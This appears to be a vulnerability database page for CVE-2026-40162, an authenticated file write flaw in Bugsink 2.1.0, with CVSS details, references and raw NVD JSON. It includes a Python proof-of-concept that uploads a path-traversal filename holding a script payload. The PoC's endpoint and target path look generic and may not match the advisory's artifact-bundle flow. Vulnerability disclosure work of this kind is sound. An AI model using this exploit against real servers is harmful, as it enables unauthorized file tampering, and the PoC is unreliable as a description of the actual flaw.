CVE-2026-40162

Description

Bugsink is a self-hosted error tracking tool. In 2.1.0, an authenticated file write vulnerability was identified in Bugsink 2.1.0 in the artifact bundle assembly flow. A user with a valid authentication token could cause the application to write attacker-controlled content to a filesystem location writable by the Bugsink process. This vulnerability is fixed in 2.1.1.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L

Configurations (Affected Products)

cpe:2.3:a:bugsink:bugsink:2.1.0:*:*:*:*:*:*:* - VULNERABLE

Bugsink 2.1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Exploit for CVE-2026-40162: Bugsink Authenticated File Write

target = "http://localhost:8000"
upload_endpoint = f"{target}/api/artifact/upload"
auth_token = "VALID_USER_TOKEN"

# Attacker controlled content
malicious_content = "<script>alert('XSS')</script>"

# Attempt to write to a different location using path traversal
filename = "../../var/www/html/poc.html"

files = {
    'file': (filename, malicious_content, 'text/plain')
}
headers = {
    'Authorization': f'Bearer {auth_token}'
}

try:
    response = requests.post(upload_endpoint, files=files, headers=headers)
    if response.status_code == 200:
        print("[+] Exploit successful! File written.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40162
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40162
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40162/
[4] VulDB https://vuldb.com/cve/CVE-2026-40162
[5] https://github.com/bugsink/bugsink/releases/tag/2.1.1
[6] https://github.com/bugsink/bugsink/security/advisories/GHSA-8hw4-fhww-273g

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40162", "sourceIdentifier": "[email protected]", "published": "2026-04-10T18:16:46.083", "lastModified": "2026-04-15T19:05:54.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Bugsink is a self-hosted error tracking tool. In 2.1.0, an authenticated file write vulnerability was identified in Bugsink 2.1.0 in the artifact bundle assembly flow. A user with a valid authentication token could cause the application to write attacker-controlled content to a filesystem location writable by the Bugsink process. This vulnerability is fixed in 2.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:bugsink:bugsink:2.1.0:*:*:*:*:*:*:*", "matchCriteriaId": "C825F884-2C32-4580-9A0F-21BCE3752643"}]}]}], "references": [{"url": "https://github.com/bugsink/bugsink/releases/tag/2.1.1", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/bugsink/bugsink/security/advisories/GHSA-8hw4-fhww-273g", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}